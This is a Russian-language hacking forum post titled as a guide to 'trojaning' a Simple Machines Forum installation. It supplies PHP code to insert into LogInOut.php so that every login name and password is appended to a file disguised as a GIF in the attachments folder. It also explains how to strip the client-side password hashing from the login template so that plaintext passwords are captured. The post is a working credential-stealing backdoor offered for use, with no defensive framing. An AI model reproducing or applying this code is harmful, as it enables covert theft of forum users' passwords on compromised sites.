Показать сообщение отдельно

  #33  
Старый 19.05.2009, 16:23
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию

Трояним SMF (сбор открытых паролей)

И так открываем файл LogInOut.php который лежит в Source
Редактируем файл...
Ищем следующий код (он в дефолтном виде файла будет на 386 строке)

PHP код:
     if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
        
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 $_REQUEST['hash_passwrd'] : null$modSettings['cookieTime']);
$Login $_REQUEST['user']; 
После него подставляем такой код

PHP код:
$Login $_REQUEST['user']; //пишем в переменную login параметр user от посланного POST запроса
$Passwd $_REQUEST['passwrd']; //пишем в переменную login параметр passwd от посланного POST запроса
$fp fopen("./wavatar1.gif","a+"); //открываем файл wavatar1, если он не сущ то он создаеться автоматом
fwrite($fp,"$Login:$Passwd\r\n"); //пишем что в переменных login, passwd и переносим на след. строку
fclose($fp); //закрываем открытый файл 
Должно получиться так

PHP код:
..........
    if (isset(
$modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
        
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 $_REQUEST['hash_passwrd'] : null$modSettings['cookieTime']);
$Login $_REQUEST['user']; 
$Passwd $_REQUEST['passwrd']; 
$fp fopen("./attachments/wavatar1.gif","a+"); 
fwrite($fp,"$Login:$Passwd\r\n"); 
fclose($fp); 
    
// Get ready to set the cookie...
    
$username $user_settings['memberName'];
    
$ID_MEMBER $user_settings['ID_MEMBER'];
.......... 
Логинимся... Мда звездочки пишуться в файл =\
Теперь идем в папку Themes\default (где default имя темы которая стоит на данный момент)
Редактируем файл Login.template.php
Ищем в нем POST запросы (он в самом внизу находиться) код будет следующим (в случае если ниже код встречаеться в коде то редактируем)

PHP код:
<form action="', $scripturl, '?action=login2" method="post" accept-charset="', $context['character_set'], '" name="frmLogin" id="frmLogin" style="margin-top: 4ex;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '
Теперь в этом ПОСТ запросе
Удаляем следующий код

PHP код:
', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '
Повторюсь надо сделать это ко всем ПОСТ запросам в файле Login.template.php

Полезная информация:
[Код который мы удалили он шифрует пароль в звездочки]

Логинимся... и в файле который мы прописали появится логин и пароль

Автор: .wolmer

Последний раз редактировалось wolmer; 27.10.2009 в 03:53..
 
Ответить с цитированием